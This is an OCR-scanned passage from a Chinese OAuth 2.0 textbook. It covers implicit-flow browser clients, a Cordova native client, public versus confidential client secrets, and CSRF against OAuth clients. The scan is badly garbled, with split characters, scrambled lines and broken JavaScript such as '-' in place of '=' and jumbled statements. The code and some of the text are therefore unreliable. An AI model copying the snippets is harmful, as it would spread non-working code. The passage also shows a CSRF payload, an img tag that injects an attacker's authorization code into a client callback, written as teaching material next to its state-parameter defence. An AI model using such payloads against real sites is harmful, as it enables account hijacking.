然后 ， 构 造 跳 转 至 授权 端点 的 URI， 并 使 用 HTTP 重 定向 将 资 


state); 





location.href = authServer.authorizationEndpoint + '?' + 
'response type-token' + 

'&state-' + state + 

'&scope-' + encodeURIComponent (client.scope) 
'&client id-' + encodeURIComponent (client.client id) 


'&redirect uri-' 


+ 
+ 




















源 拥有 者 引导 过 去 。 


+ encodeURIComponent (client.redirect uris[0]); 


这 个 请 求 与 Web 应 用 示例 中 的 请 求 相 同 ， 只 是 response_type 参数 被 设 成 了 token. iX 








应 用 会 通过 页 面 刷新 跳 转 至 授权 服务 器 , 开始 这 一 授权 流程 , 这 意味 着 这 个 客户 端 需要 通过 回调 











被 重新 加 载 并 重启 。 另 一 种 方法 是 使 用 内 联 框架 





(iframe ) 将 资源 拥有 者 引导 至 授权 服务 需 。 




















当 资 源 拥 有 者 返回 至 重 定向 UR 时 ， 我 们 需要 监听 回调 并 处 理 响应 。 应 用 要 做 的 是 在 页 面 





重新 加 载 之 后 检查 URI 片段 (又 称 散 列 ) 的 状态 。 如 果 片 段 存在 ， 


牌 和 状态 参数 。 


var h location.hash.substring(1); 
var whitelist ['access token', 'state' 


]; // for parame 


callbackData tH 
h.split('& 


var d 


PY 
e.split('- 


forEach(function (e) 


= "yog 


if (whitelist.indexOf (d 

callbackData[d[0]] 
j 

)); 


toT) » -1) 
e gi i-] s 


if (callbackData.state !-- localStorage.getItem( 
callbackData null; 
$('.oauth-protected-resource' 
j else ( 
$('.oauth-access-token' 


) 
至 此 ， 我 们 的 应 用 已 经 可 以 使 用 访问 令 牌 访问 受 保护 资源 了 。 


).text(" 


) 


问 外 部 站 点 ,仍然 需要 在 受 保护 资源 端 进行 CORS 之 类 的 跨 域 安全 配置 ， 这 将 在 第 
话 由 资源 拥有 者 裁定 ， 以 访问 令 牌 为 承载 。 


在 这 类 应 用 中 使 用 OAuth 实现 了 一 种 跨 域 会 话 ， 该 会 
这 种 应 用 场景 下 的 访问 令 牌 的 生命 周期 通常 很 短暂 ， 并 且 权限 范围 
新 将 资源 拥有 者 引导 至 授权 服务 器 ， 获 取 新 的 访问 令 牌 。 
6.23 ”原生 应 用 

原生 应 用 是 直接 在 最 终 用 户 的 设备 ( 计算 机 或 者 移动 设备 ) 上 


























'oauth-state' 


Error state value did not match" 


我 们 需要 从 中 解析 出 访问 令 


ters 


)) { 


ys 


.text(callbackData.access token); 


， 从 JavaScript 应 用 访 
B 8 章 进行 讨论 。 


请 注意 








有 限 。 要 刷新 该 会 话 , 需要 重 





We 


运行 














的 应 用 。 应 用 软件 通常 是 











在 外 部 经 过 编译 或 者 打包 之 后 再 安装 到 设备 上 的 。 

这 类 应 用 很 容易 使 用 后 端 信 道 , 直接 向 远程 服务 器 发 送 HTTP 请 求 即 可 。 由 于 这 类 应 用 不 像 
Web 应 用 或 者 浏览 器 应 用 那样 可 以 让 用 户 进 入 浏览 器 ,因此 要 使 用 前 端 信道 会 有 些 困 难 。 为 了 使 
用 前 端 信道 发 出 请 求 , 原生 应 用 需要 能 够 访问 操作 系统 上 的 浏览 器 或 者 在 应 用 内 租 入 一 个 浏览 器 
视窗 ,将 用 户 直 接 引 导 至 授权 服务 器 。 为 了 监听 前 端 信道 上 的 响应 , 原生 应 用 需要 通过 一 个 URI 
提供 服务 ， 授 权 服务 器 会 将 浏览 器 重 定向 至 该 URI。 通 常 可 以 采用 的 形式 如 下 : 
OQ 内 骸 在 应 用 内 、 运 行 在 localhost 上 的 Web 服务 需 ; 
a 具有 通知 推送 能 力 的 远程 Web 服务 器 ， 能 向 应 用 推送 通知 ; 
口 自 定义 的 URI 格 式 (如 com.oauthinaction.mynativeapp:/ )， 在 操作 系统 上 注册 之 后 ， 一 旦 

收 到 该 URI 格 式 的 请 求 ， 应 用 就 会 被 唤起 。 

在 移动 设备 上 ， 自 定义 UR 格式 是 最 常用 的 。 授 权 码 许可 、 客 户 端 凭据 许可 和 断言 许可 流 
程 都 适用 于 原生 客户 端 ， 但 不 推荐 使 用 隐 式 许可 流程 ， 因 为 应 用 能 够 在 浏览 器 之 外 保留 信息 。 

现在 来 看 看 如 何 构 建 一 个 原生 应 用 。 请 打开 ch-6-ex-5 目录 ， 你 会 看 到 授权 服务 器 和 受 保护 
资源 的 代码 与 往常 一 样 存在 于 目录 中 。 但 是 这 一 次 客户 端 不 是 位 于 主 目录 的 clientjs 中 ， 而 是 位 
于 一 个 名 为 native-client 的 子 目 录 中 。 到 目前 为 止 ， 本 书 中 所 有 练习 都 是 使 用 JavaScript 开发 的 ， 
使 用 了 Express.js 框架 , 运行 在 Nodejs 上 。 虽然 原生 应 用 不 必 通 过 浏览 絮 访 问 , 但 是 我 们 还 是 想 
在 语言 选择 上 保持 一 致 。 所 以 ,我 们 选择 了 Apache Cordova" 平 台 ,， 它 让 我 们 能 够 使 用 JavaScript 
构建 原生 应 用 。 






































































































































必须 使 用 Web 技术 来 创建 OAuth 客户 端 吗 ? 

为 了 保证 本 书 中 所 有 练习 的 一 致 性 ,我 们 在 原生 应 用 的 练习 中 使 用 的 很 多 语言 和 技术 都 在 
基于 Web 的 应 用 中 使 用 过 。 但 是 ， 这 并 不 是 说 你 在 构建 原生 应 用 时 也 必须 使 用 HTML 和 
JavaScript， 或 者 其 他 特定 的 语言 或 平台 。OAuth 客户 端 应 用 需要 能 够 直接 向 后 端 信道 端点 发 
iE HTTP 请 求 ,为 前 端 信道 端点 启动 系统 浏览 器 ,也 要 能 监听 来 自前 端 信道 的 响应 ,这 些 响 应 
是 浏览 器 在 某 种 可 访问 的 URI 上 发 出 的 请 求 。 这 些 功能 的 实现 细节 取决 于 平台 ， 但 是 许多 不 
同 的 应 用 框架 都 会 提供 相关 的 函数 。 











和 前 面 一 样 ， 我 们 会 把 注意 力 放 在 OAuth 上 ， 尽 量 让 你 避 开 平台 特异 性 。Apache Cordova 
可 以 通过 Node 包 管 理 器 (NPM) 安装 ， 安 装 方法 与 其 他 Node.js 模块 类 似 。 各 个 操作 系统 上 的 
安装 细节 会 有 不 同 ， 这 里 给 出 的 是 在 Mac OS X 平 台 上 的 示范 。 
































> sudo npm install -9 cordova 
» npm install ios-sim 


完成 安装 之 后 ， 我 们 来 看 看 原生 应 用 的 代码 。 请 打开 ch-6-ex-S/native-client/ H 3€, 2848 
www/index.html 文件 。 与 在 浏览 器 应 用 练习 中 一 样 ， 这 一 次 也 不 会 修改 代码 ， 只 是 研究 一 下 运行 











(D https://cordova.apache.org/ 
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在 原生 应 用 内 的 代码 。 你 需要 在 计算 机 上 运行 该 原生 应 用 。 运 行程 序 还 需要 几 个 额外 的 步 又。 你 
需要 在 ch-6-ex-5/native-client/ 目 录 中 添加 一 个 运行 时 平台 。 这 里 使 用 的 是 10S , Cordova 框架 还 提 
供 了 其 他 不 同 的 平台 。 








> cordova platform add ios 





为 了 让 原生 应 用 能 够 调用 系统 浏览 器 并 且 能 监听 自 定 义 格 式 的 URL, 还 需要 安装 几 个 插件 。 
> cordova plugin add cordova-plugin-inappbrowser 


» cordova plugin add cordova-plugin-customurlscheme --variable URL SCHEME- 
com.oauthinaction.mynativeapp 


终于 ， 我 们 的 原生 应 用 可 以 运行 了 。 
> cordova run ios 


以 上 指令 将 会 在 一 个 手机 模拟 右 中 启动 应 用 ( 如 图 6-7 所 示 )。 


iOS Simulator - iPhone 6 - iPhone 6 / iOS 8.2 (12D508) | 


OAuth in Action 


Scope value: 
openid profile email address phone 


Access token value: 
zCeSf98lUj| WYMyDHT4dPhSHFMBjX 1K, 





图 6-7 原生 的 OAuth 客户 端 移动 应 用 























下 面 来 研究 一 下 代码 。 首 先 要 注意 的 是 客户 端 配置 。 





var client = { 
"client id": "native-client-1", 
"client secret": "oauth-native-secret-1", 
"redirect uris": ["com.oauthinaction.mynativeapp:/"], 
"Scope": "foo bar" 


}; 

如 你 所 见 , 注册 信息 与 普通 的 OAuth 客户 端 没 有 区 别 。 注册 信息 中 的 redirect uris 可 能 

会 引起 你 的 注意 。 这 是 与 传统 客户 端的 不 同 之 处 ， 它 使 用 了 自 定义 的 URI 格式 ， 这 里 是 com. 
oauthinaction.mynativeapp:/, 而 不 是 传统 的 https://。 只 要 系统 浏览 器 发 现 以 com.oauthinaction. 
mynativeapp:/ 开 头 的 URL, 应 用 就 会 被 调用 , 并 且 会 使 用 一 个 特殊 的 处 理 函 数 来 处 理 。 这 个 URL 

可 能 是 由 用 户 直 接点 击 某 个 链接 而 生成 的 , 也 可 能 是 来 自 男 一 个 页 面 的 HTTP 重 定向 , 或 者 是 由 

另外 一 个 应 用 显 式 地 发 起 的 。 在 处 理 函 数 中 , 可 以 读 取 链 接 或 重 定向 使 用 的 完整 URL 的 字符 串 ， 

就 像 是 一 个 Web 服务 器 在 处 理 某 个 URL 上 的 HTTP 请 求 。 am 
























































原生 应 用 中 的 信息 保密 
在 练习 中 ， 我 们 使 用 了 客户 端 密 钥 ， 它 是 直接 在 客户 端 内 配置 的 ， 第 3 章 中 的 Web 应 用 
也 是 这 样 做 的 。 在 生产 环境 的 原生 应 用 中 ，, 练习 所 使 用 的 方法 不 怎么 管用 ,因为 应 用 的 每 份 副 
本 都 能 访问 这 个 密 钥 ,当然 也 就 没 办 法 保密 了 。 在 实践 中 是 有 一 些 方 案 可 供 选 择 的 。 这 个 问题 
会 在 62.4 节 中 详细 讨论 ， 现 在 我 们 还 是 选择 与 其 他 示例 保持 一 致 。 





授权 服务 器 和 受 保 护 资源 的 配置 与 其 他 例子 一 样 。 


var authServer = ( 
authorizationEndpoint: 'http://localhost:9001/authorize', 
tokenEndpoint: 'http://localhost:9001/token', 

Jer 


var protectedResource = 'http://localhost:9002/resource'; 

由 于 要 使 用 授权 码 许可 流程 ， 当 用 户 点 击 授权 按钮 时 ， 要 使 用 response type-code 请 求 
参数 生成 一 个 前 端 信道 的 请 求 。 还 需要 生成 一 个 state 值 ， 并 存储 在 应 用 内 部 (使 用 Apache 
Cordova 内 的 HTMLS 本 地 存储 )， 以 便 能 在 后 续 步 又 中 提取 这 个 值 。 











var state = generateState(32); 
localStorage.setItem('oauth-state', state); 


完成 这 些 之 后 , 就 可 以 创建 请 求 了 。 这 个 请 求 与 在 第 3 章 首 次 使 用 授权 码 许可 类 型 时 所 使 用 
的 请 求 完 全 一 样 。 














var url = authServer.authorizationEndpoint + '?' + 
'response type-code' + 
'&state-' + state + 
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'&scope-' + encodeURIComponent(client.scope) + 
'&client id-' + encodeURIComponent (client.client id) + 
'&redirect uri-' + encodeURIComponent (client.redirect uris[0]); 


为 了 向 授权 服务 器 发 起 请 求 , 需要 在 应 用 中 调用 系统 的 浏览 器 。 因 为 用 户 不 在 浏览 器 中 , 所 
以 我 们 不 能 像 在 基于 Web 的 应 用 中 那样 简单 地 使 用 HTTP 重 定向 。 








cordova.InAppBrowser.open(url, ' system'); 


资源 拥有 者 完成 对 客户 端的 授权 之 后 , 授权 服务 器 会 在 浏览 器 中 将 用 户 重 定向 至 客户 端的 重 
定向 URI。 应 用 需要 能 够 监听 这 个 回调 ， 并 处 理 来 自 授权 服务 器 的 响应 ,就 像 一 个 HTTP 服务 器 
一 样 。3 这 些 都 是 通过 过 handleOpenURL PK 函数 完成 的 。 



































function handleOpenURL(url) ( 
setTimeout(function() ( 
processCallback(url.substr(url.indexOf('?') + 1)); 
3, 0); 
j 








这 个 函数 会 监听 com.oauthinaction.mynativeapp:/ 上 传人 的 请 求 ,并 且 从 URI 中 取出 请 求 参 数 ， 
再 传递 yb m processCallback Mj 函数 。 在 t processCallback PKI KAUP, 解析 出 code 和 state £ 参数 。 


var whitelist = ['code', 'state']; // for parameters 


callbackData = {}; 
h.split('&').forEach(function (e) ( 
var d - e.split('z'); 


if (whitelist.indexOf (d[ 
callbackData[d[0]] = d 
} 


需要 再 次 检查 state 参数 是 否 一 致 。 如 果 不 一 致 ， 则 提示 错误 。 


if (callbackData.state !== localStorage.getItem('oauth-state')) ( 
callbackData - null; 
$('.oauth-protected-resource').text("Error: state value did not match"); 


如 果 state 参数 正确 ， 就 可 以 使 用 收 到 的 授权 码 去 换取 访问 令 牌 了 。 我 们 通过 后 端 信道 直 
接 向 授权 服务 器 发 起 HTTP 请求。 在 Cordova 框架 中 ,使 用 jQuery 的 ajax 函数 发 送 请 求 。 


$.ajax({ 
url: authServer.tokenEndpoint, 
type: 'POST', 
crossDomain: true, 
dataType: 'json', 
headers: { 
'Content-Type': 'application/x-www-form-urlencoded' 


) 


0] 
[1]; 








T 
data: { 
grant type: 'authorization code', 





) 


code: callbackData.code, 
client id: client.client id, 
client secret: client.client secret, 


)).done(function(data) ( 


$( 


'.oauth-access-token').text(data.access token); 


callbackData.access token - data.access token; 
)).fail(function() ( 


$( 
)); 


'.oauth-protected-resource').text('Error while getting the access token'); 


一 旦 得 到 访问 令 牌 , 就 可 以 使 用 该 访问 令 牌 来 访问 受 保护 资源 了 。 我 们 已 经 将 资源 调用 的 代 
码 放 入 了 按钮 的 事件 处 理 函 数 中 。 


function handleFetchResourceClick(ev) { 


LE 


(callbackData !- null ) ( 


$.ajax(t 


) 


) 


url: protectedResource, 

type: *POST'; 

crossDomain: true, 

dataType: 'json', 

headers: { 

'Authorization': 'Bearer ' + callbackData.access token 

) 
.done(function(data) ( 

$('.oauth-protected-resource').text(JSON.stringify (data)); 
.fail(function() { 

$('.oauth-protected-resource').text('Error while fetching the protected 


resource'); 


)); 


} 

















原生 应 用 现在 可 以 随时 使 用 该 访问 令 牌 访问 受 保护 资源 了 。 因 为 使 用 的 是 授权 码 许可 流程 ， 
所 以 还 可 以 在 访问 令 牌 过 期 后 使 用 刷新 令 牌 。 这样, 原生 应 用 就 有 具备 了 流畅 的 用 户 体 验 ， 同时 又 
不 违背 OAuth 的 安全 规范 。 





6.2.4 ”人 处理 密 钥 


客户 端 密 钥 的 作用 是 让 客户 端 软件 实例 向 授权 服务 器 进行 身份 认证 , 与 资源 拥有 者 的 授权 无 
关 。 客 户 端 密 钥 不 提供 给 资源 拥有 者 和 浏览 避 使 用 ,， 它 用 于 唯一 识别 客户 端 软件 应 用 。 在 OAuth 
1.0 中 , 无 论 什么 类 型 ,每 个 客户 端 都 要 有 自己 的 客户 端 密 钥 ( 在 规范 中 称 为 使 用 者 密 钥 , consumer 
key )。 但是， 在 本 章 中 我 们 看 到 ， 并 非 所 有 的 OAuth 客户 端 都 是 一 样 的 。 虽 然 在 Web 应 用 中 可 
以 配置 客户 端 密 钥 , 并 向 浏览 器 和 最 终 用 户 保密 , 但 是 在 原生 应 用 和 浏览 器 应 用 中 做 不 到 这 一 点 。 
































问题 在 于 我 们 需要 区 分 两 个 概念 : 配置 期 间 秘密 ( configuration time secret )， 在 客户 端的 每 


一 份 副 本 中 都 相同 ; 运行 时 秘密 (runtime secret )， 在 各 个 客户 端 实例 中 都 不 同 。 客 户 端 密 钥 属 








于 配置 期 间 秘密 ， 因 为 它 代 表 客 户 端 自身 ， 是 配置 在 客户 端 软件 内 部 的 。 访 问 令 牌 、 刷 新 令 牌 和 





授权 码 都 





属于 运行 时 秘密 ,因为 它们 都 是 在 客户 端 软件 被 部 署 之 后 由 客户 端 存储 的 。 运 行 时 秘密 
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仍然 需要 安全 存储 并 保护 ,但 是 它们 被 设计 得 容易 撤销 或 更 改 。 相 反 , 配置 期 间 秘密 一 般 不 会 经 
常 改变 。 

OAuth 2.0 体现 了 这 两 个 概念 的 不 同 。 它 不 要 求 所 有 客户 端 都 拥有 客户 端 密 钥 ， 而 是 将 客户 
端 分 为 两 种 类 型 : 公开 客户 端 和 保密 客户 端 ， 划 分 依据 是 能 和 否 持 有 配置 期 间 秘密 。 

顾名思义 ， 公 开 客 户 端 不 能 持 有 配置 期 间 秘密 ， 因 而 没有 客户 端 密 钥 。 这 是 因为 这 种 客户 端 
的 代码 一 般 会 以 某 种 形式 暴露 给 最 终 用 户 , 要 么 是 在 浏览 器 中 下 载 并 执行 , 要 么 是 直接 在 用 户 的 
设备 上 运行 。 因 此 ， 绝 大 部 分 浏览 器 应 用 和 许多 原生 应 用 都 属于 公开 客户 端 。 无 论 哪 种 情况 ， 客 
户 端 软 件 的 每 一 份 副 本 都 完全 相同 , 并 且 可 能 有 很 多 个 执行 实例 。 每 个 实例 的 用 户 都 可 能 提取 该 
执行 实例 的 配置 信息 ,包括 客户 端 DD 和 客户 端 密 钥 。 虽 然 所 有 的 实例 共享 同一 个 客户 端 ID, 但 
这 并 不 会 有 问题 ， 因 为 客户 端 ID 不 属于 需要 保密 的 信息 。 如 果 有 人 想 通 过 复制 客户 端 了 来 冒充 
该 客户 端 ， 则 还 需要 使 用 相同 的 重 定向 URI， 同 时 还 会 受到 其 他 的 约束 。 在 这 种 情况 下 ， 持 有 和 额 
外 的 客户 端 密 钥 是 徒劳 的 ， 因 为 它 照样 可 以 同 客户 端 ID 一 起 被 复制 。 

在 使 用 授权 码 流程 的 应 用 中 使 用 PKCE 协议 可 以 应 对 这 个 问题 , 这 将 在 第 10 章 介绍 。PKCE 
协议 扩展 让 客户 端 能 够 更 紧密 地 绑 定 初始 请 求 与 收 到 的 授权 码 , 但 不 需要 使 用 客户 端 密 钥 或 者 类 
似 的 信息 。 

保密 客户 端 则 能 够 持 有 配置 期 间 秘密 。 客 户 端 软件 的 每 一 个 实例 都 有 独立 的 配置 信息 , 包括 
"pum ID 和 密 钥 ， 并 且 这 些 信 息 都 是 最 终 用 户 难 以 获取 的 。Web 应 用 是 最 常见 的 保密 客户 端 类 
型 ， 它 是 运行 在 Web 服务 器 上 的 单个 实例 ， 单 个 OAuth 客户 端 可 以 对 应 多 个 资源 拥有 者 。 客 户 
端 ID 仍然 能 够 被 搜集 ， 因 为 它 通过 Web 浏览 器 暴露 了 ,但 是 客户 端 密 钥 只 通过 后 端 信道 直接 传 
输 ， 不 会 被 泄露 。 

此 问题 的 另 一 个 解决 方案 是 动态 客户 端 注 册 ， 将 在 第 12 章 介绍 。 通 过 动态 客户 端 注 册 ， 客 
户 端 软件 的 实例 可 以 在 运行 时 注册 自身 。 这 实际 上 是 将 配置 期 间 秘密 转变 成 了 运行 时 秘密 ， 提 高 
了 客户 端的 安全 性 和 功能 性 。 


























































































































































































































6.3 ”小结 


OAuth 2.0 在 一 个 通用 的 协议 框架 中 提供 了 很 多 选项 。 
口 可 以 针对 不 同 的 部 署 场景 ， 对 标准 的 授权 码 许可 类 型 进行 多 种 优化 。 
口 隐 式 许可 能 够 用 于 无 独立 客户 端的 浏览 需 应 用 。 
O 客户 端 凭据 许可 和 断言 许可 能 够 用 于 无 特定 资源 拥有 者 的 服务 端 应 用 。 
口 除非 没有 其 他 选择 ， 和 否则 不 要 使 用 资源 拥有 者 凭据 许可 。 
口 Web 应 用 、 浏 览 器 应 用 、 原 生 应 用 在 OAuth 的 使 用 上 都 有 各 自 的 独特 之 处 ， 但 核心 思想 
是 一 样 的 。 
O 保密 客户 端 能 够 持 有 客户 端 密 钥 ， 公 开 客 户 端 则 不 能 。 

我 们 已 经 全 面 了 解 了 OAuth 生态 系统 中 各 组 件 的 工作 原理 ， 接 下 来 要 看 看 哪些 地 方 可 能 会 
出 错 。 请 继续 阅读 ， 以 了 解 如 何 处 理 OAuth 实现 和 部 署 中 出 现 的 漏洞 。 
























































五 


OAuth 2.0 的 实现 与 漏洞 





在 这 一 部 分 ， 你 将 看 到 如 果实 现 或 者 部 署 不 当 ， 整 个 系统 是 如 何 崩 塌 的 。 虽 然 OAuth 2.0 
是 一 个 安全 协议 ， 但 这 并 不 意味 着 使 用 它 就 一 定 能 保证 安全 。 事 实 上 ， 一 切 都 需要 正确 地 部 署 
PEH., AIh, OAuth 2.0 规范 中 的 一 些 部 署 选项 可 能 会 误导 你 设置 错误 。 与 其 告诉 你 正在 用 的 
是 一 个 可 靠 的 安全 协议 (虽然 它 确 实 是 )， 给 你 一 种 安全 错觉 ， 不 如 将 它 的 陷阱 完全 展示 出 来 ， 
让 你 知道 如 何 避 免 。 














本 章 内 容 
口 规避 OAuth 客户 端 上 常见 的 实现 漏洞 
O OAuth 客户 端 常见 攻击 的 防护 





第 1 章 讨论 过 , 在 OAuth 生态 系统 中 , 客户 端的 类 型 和 数量 都 比 其 他 组 件 更 多 。 在 实现 客户 
端的 时 候 有 哪些 注意 事项 呢 ? 你 可 以 下 载 OAuth 核心 规范 , "并 尽 可 能 地 遵循 它 的 规定 。 另 外 ， 
还 可 以 从 OAuth 社区 中 的 各 个 邮件 列表 、 博 客 中 搜寻 一 些 有 用 的 教程 。 如 果 你 特别 在 意 安全 性 ， 
可 以 阅读 “OAuth 2.0 威胁 模型 与 安全 性 注意 事项 ”规范 ,“ 并 将 它 视 为 最 佳 安全 实践 指南 。 但 是 
即便 如 此 , 你 的 实现 就 万 无 一 失 了 吗 ? 本 章 将 讨论 几 个 针对 客户 端的 常见 攻击 , 并 探索 实用 的 防 
御 之 策 。 





























7.1 常规 客户 端 安全 


OAuth 客户 端 中 有 几 种 数据 是 需要 保护 的 。 如 果 我 们 使 用 了 客户 端 密 钥 ， 需 要 将 其 存储 在 不 
容易 被 外 部 访问 的 地 方 ; 收 到 访问 令 牌 和 刷新 令 牌 之 后 , 也 需要 确保 这 些 内 容 不 能 被 客户 端 之 外 
的 组 件 以 及 与 之 交互 的 其 他 OAuth 实体 访问 到 ; 客户 端 还 要 注意 不 要 意外 地 将 这 些 保密 信息 泄 
露 到 审计 日 志 或 者 其 他 记录 中 , 因为 第 三 方 有 可 能 暗地里 从 中 搜寻 这 些 信 息 。 以 上 这 些 都 是 非常 
简单 的 安全 实践 ， 其 实现 方式 取决 于 客户 端 软 件 本 身 所 在 的 平台 。 

然而 , 除了 存储 系统 上 单纯 的 信息 失 窍 之 外 ，OAuth 客户 端 还 可 能 出 现 其 他 类 型 的 漏洞 。 最 
为 常见 的 错误 之 一 就 是 将 OAuth 当成 身份 认证 协议 使 用 ， 不 加 任何 额外 的 防护 措施 。 第 13 章 将 
花 很 大 篇 幅 讨 论 这 个 普遍 存在 的 问题 ,。 届时 你 会 看 到 例如 “糊涂 的 代理 人 问题 ”( confused deputy 
problem ) 以 及 其 他 与 身份 认证 有 关 的 安全 问题 。 违 背 安全 性 原则 的 草率 实现 对 OAuth 的 最 严重 
影响 之 一 ， 就 是 导致 资源 拥有 者 的 授权 码 或 者 访问 令 牌 泄露 。 除 了 危害 资源 拥有 者 之 外 ,还 会 损 
害 客户 端 应 用 的 产品 可 靠 性 ， 进 而 对 其 背后 的 公司 造成 声誉 或 者 财务 上 的 损失 。 对 于 OAuth 客 
户 端的 实现 人 员 来 说 ， 需 要 加 以 防范 的 安全 威胁 有 很 多 ， 接 下 来 的 各 节 会 逐一 讨论 。 













































































(D RFC 6749: https://tools.ietf.org/html/rfc6749., 
(2 RFC 6819: https://tools.ietf.org/html/rfc6819., 
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7.2 ”针对 客户 端的 CSRF 攻击 


在 前 面 的 章节 中 ， 授 权 码 许可 和 隐 式 许可 类 型 中 都 提 到 了 推荐 使 用 的 state 参数 。OAuth 核 
心 规范 对 该 参数 的 描述 如 下 所 示 。? 








客户 端 用 来 维持 请 求 与 回调 之 间 状 态 的 不 透明 值 。 授 权 服 务 器 在 将 用 户 代理 重 定向 
回 客户 端 时 包含 该 值 。 应 该 使 用 这 个 参数 ， 它 可 以 防止 CSRF (cross-site request forgery , 
跨 站 请 求 伪造 )。 























那么 ， 什 么 是 CSRF， 为 什么 要 关注 它 ? CSRF 是 互联 网 上 最 常见 的 攻击 之 一 ， 它 被 列 在 当 
前 Web 应 用 中 十 大 最 危险 的 安全 漏洞 名 单 ( OWASP Top Ten) 中 ， 名 单 也 给 出 了 应 对 之 策 。 ”这 
种 攻击 泛滥 的 主要 原因 是 一 般 的 开发 人 员 对 它 缺 乏 认 识 ， 给 了 攻击 者 可 趁 之 机 。 








OWASP 是 什么 ? 


开放 Web 应 用 安全 项 目 (OWASP ) 是 一 个 非 营 利 组 织 ， 它 向 开发 人 员 、 设 计 人 员 、 架 构 
师 和 企业 所 有 者 披露 最 普遍 的 Web 应 用 安全 漏洞 相关 的 风险 。 组 织 成 员 都 是 来 自 志 界 各 地 的 


安全 专家 ， 他 们 通过 该 组 织 分 享 关 于 漏洞 、 威 胁 、 攻 击 和 应 对 策略 方面 的 知识 。 








恶意 应 用 软件 让 浏览 器 向 已 完成 用 户 身 份 认证 的 网 站 发 起 请 求 ， 执 行 有 害 的 操作 ， 这 就 是 


CSRF。 这 是 怎么 发 生 的 呢 ? 记 住 主要 的 一 点 ， 浏 览 器 可 以 向 任何 源 发 起 请 求 ( 带 有 cookie ), 并 
执行 所 请 求 的 特定 操作 。 如 果 用 户 登 录 某 个 网 站 , 并且 该 网 站 允许 用 户 执行 一 系列 任务 ， 而 攻击 


者 诱导 浏览 器 向 这 些 任 务 对 应 的 某 个 URI 发 送 请 求 ， 就 可 以 以 登录 用 户 的 身份 执行 该 任务 。 通 
































常 ,攻击 者 会 将 恶意 HTML 或 者 JavaScript 代码 嵌入 邮件 或 者 网 页 中 , 在 用 户 不 知情 的 情况 下 向 
某 个 特定 任务 的 URI 发 送 请 求 (如 图 7-1 所 示 )。 
最 常用 且 有 效 的 缓解 措施 是 在 每 个 HTTP 请 求 中 加 入 一 个 不 可 预知 的 元 素 ， 这 也 是 OAuth 
规范 采取 的 对 策 。 来 看 看 为 什么 要 强烈 推荐 使 用 state 参数 防止 CSRF, 以 及 如 何 生成 并 安全 使 
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日 恰当 的 state 参数 。 有 一 个 攻击 示例 ”可 以 说 明 这 一 点 。 假 设 有 一 个 支持 授权 码 许可 类 








型 的 


OAuth 客户 端 。 当 它 从 OAuth 回调 端点 上 收 到 code 参数 后 , 会 使 用 这 个 收 到 的 授权 码 去 换取 访 
问 令 牌 。 最 终 ， 客 户 端 会 代表 用 户 访问 API 并 将 访问 令 牌 传递 给 资源 服务 器 。 为 了 实施 攻击 , D 


击 者 可 以 简单 地 发 起 一 个 OAuth 流程 ， 从 目标 授权 服务 器 上 获取 授权 码 之 后 ， 











就 此 暂停 他 的 


“OAuth 舞步 "， 然 后 设法 让 受害 用 户 的 客户 端 使 用 攻击 者 的 授权 码 。 后 面 这 一 步 只 需要 在 他 的 网 
站 上 构建 一 个 恶意 页 面 即 可 ， 如 下 所 示 。 











<img src="https://ouauthclient.com/callback?code=ATTACKER AUTHORIZATION CODE"> 





(D RFC 6749: https://tools.ietf.org/html/rfc6749。 
© https://www.owasp.org/index.php/Top10 2013-A8-Cross-Site Request Forgery%28CSRF%29 
®© http://homakov.blogspot.ch/2012/07/saferweb-most-common-oauth2.html 
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有 漏洞 
的 服务 器 





攻击 者 的 服务 器 
发 出 的 请 求 网 页 





包含 img 或 者 script 标 签 的 
HTML 页 面 ， 标 签 指 向 有 漏 
洞 的 服务 器 上 用 于 执行 任务 
的 URL 























浏览 器 加 载 HTML 页 面 中 的 URL， 
向 有 漏洞 的 服务 器 发 送 全 部 会 话 
cookie， 受 害 用 户 通过 身份 认证 。 
加 载 此 URL 即 在 有 漏洞 的 服务 器 
上 执行 了 一 项 操作 




















图 7-1 CSRF 攻击 示例 


然后 ,诱导 受害 用 户 访 问 该 页 面 ( 如 图 7-2 所 示 )。 
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图 7-2 OAuth CSRF 攻击 示例 


7.3 客户 端 凭据 失窃 105 











如 此 一 来 , 产生 的 后 果 就 是 资源 拥有 者 的 客户 端 与 攻击 者 的 授权 上 下 文 之 间 建 立 了 联系 。 如 
果 将 OAuth 协议 用 于 身份 认证 ， 这 将 造成 灾难 性 后 果 ， 第 13 章 会 对 此 做 进一步 讨论 。 

OAuth 客户 端的 应 对 措施 是 生成 一 个 难以 猜测 的 state 参数 ， 并 在 首次 向 授权 服务 器 发 送 
请 求 时 将 其 一 同 传递 。OAuth 规范 要 求 授权 服务 器 将 此 参数 原样 返回 至 重 定向 URI。 然 后 ， 当 重 
定向 URI 被 调用 时 ， 客 户 端 要 检查 state 参数 的 值 。 如 果 该 参数 缺失 或 者 其 值 与 最 初 传递 至 授 
权 服 务 器 的 值 不 一 致 , 则 客户 端 可 以 终止 授权 流程 并 提示 错误 。 这 样 就 可 以 防止 攻击 者 使 用 他 们 
自己 的 授权 码 并 将 其 注入 到 毫 无 戒心 的 受害 用 户 的 客户 端 。 

一 个 很 自然 就 能 想到 的 问题 是 state 参数 应 该 是 什么 样 的 。 从 OAuth 规范 中 不 能 找到 解答 ， 
因为 它 讲 得 过 于 模糊 。" 

生成 的 令 牌 ( 以 及 其 他 不 由 最 终 用 户 处 理 的 凭据 ) 被 攻击 者 猜 中 的 概率 必须 小 于 或 

等 于 2-28， 最 好 应 该 小 于 或 等 于 2-16。 


在 第 3 章 以 及 其 他 章节 的 练习 中 ， 客 户 端 通过 执行 以 下 代码 生成 随机 的 state 参数 。 






































state = randomstring.generate(); 
如 果 使 用 Java， 你 可 以 采用 如 下 代码 。 
String state = new BigInteger(130, new SecureRandom()).toString(32); 


生成 state 参数 值 之 后 可 以 将 其 存储 在 cookie 中 ， 更 好 的 做 法 是 将 其 存储 在 会 话 中 ， 并 且 
后 续 使 用 该 值 执行 上 文 提 到 的 检查 操作 。 尽 管 规 范 没有 明确 地 规定 必须 使 用 state 参数 ， 但 它 
被 视 为 最 佳 实践 ， 而 且 用 它 来 防御 CSRF 是 有 必要 的 。 


7.3 ”客户 端 凭据 失窃 


OAuth 核心 协议 规定 了 4 种 许可 类 型 。 每 一 种 许可 类 型 对 于 安全 和 部 署 方面 的 不 同 问题 有 不 
同 的 设计 , 使 用 时 应 该 选择 合适 的 类 型 , 第 6 章 已 经 讨论 过 。 例 如 , 若 OAuth 客户 端 运行 在 用 户 
代理 环境 中 ， 应 该 使 用 隐 式 许可 类 型 。 这 样 的 客户 端 一 般 情况 下 是 纯 JavaScript 应 用 ， 由 于 代码 
